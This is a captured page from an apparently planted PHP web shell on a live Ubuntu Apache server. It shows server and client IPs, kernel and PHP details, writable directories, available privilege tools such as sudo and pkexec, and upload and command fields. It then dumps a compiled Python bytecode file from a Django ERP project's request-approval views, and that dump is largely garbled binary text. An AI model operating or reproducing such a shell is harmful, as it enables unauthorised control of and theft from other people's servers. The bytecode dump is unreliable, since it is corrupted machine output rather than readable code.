403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/base/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/base/__pycache__/request_and_approve.cpython-310.pyc
o

hͦh��@sldZddlZddlmZddlmZddlmZmZddl	m
Z
mZddlm
Z
e
dd	��Ze
d
d��ZdS)zb
views.py

This module is used to map url patterns with request and approve methods in Dashboard.
�N)�apps)�render)�filtersubordinates�
paginator_qry)�ShiftRequest�WorkTypeRequest)�login_requiredcC�f|j�d�}|j��}tjjdddd�}t||d�}t�dd�|D��}t	||�}t
|d|||d	��S)
N�pageFT��approved�canceled�employee_id__is_activezbase.add_shiftrequestcS�g|]}|j�qS���id��.0�instancerr�(/var/www/erp/base/request_and_approve.py�
<listcomp>�z+dashboard_shift_request.<locals>.<listcomp>z&request_and_approve/shift_request.html��requests�requests_ids�pd)�GET�get�	urlencoder�objects�filterr�json�dumpsrr��request�page_number�
previous_datarrrrr�dashboard_shift_request� 
�
��r(cCr	)
Nr
FTrzbase.add_worktyperequestcSrrrrrrrr.rz/dashboard_work_type_request.<locals>.<listcomp>z*request_and_approve/work_type_request.htmlr)rrrrr r!rr"r#rrr$rrr�dashboard_work_type_request&r)r*)�__doc__r"�django.appsr�django.shortcutsr�base.methodsrr�base.modelsrr�horilla.decoratorsrr(r*rrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit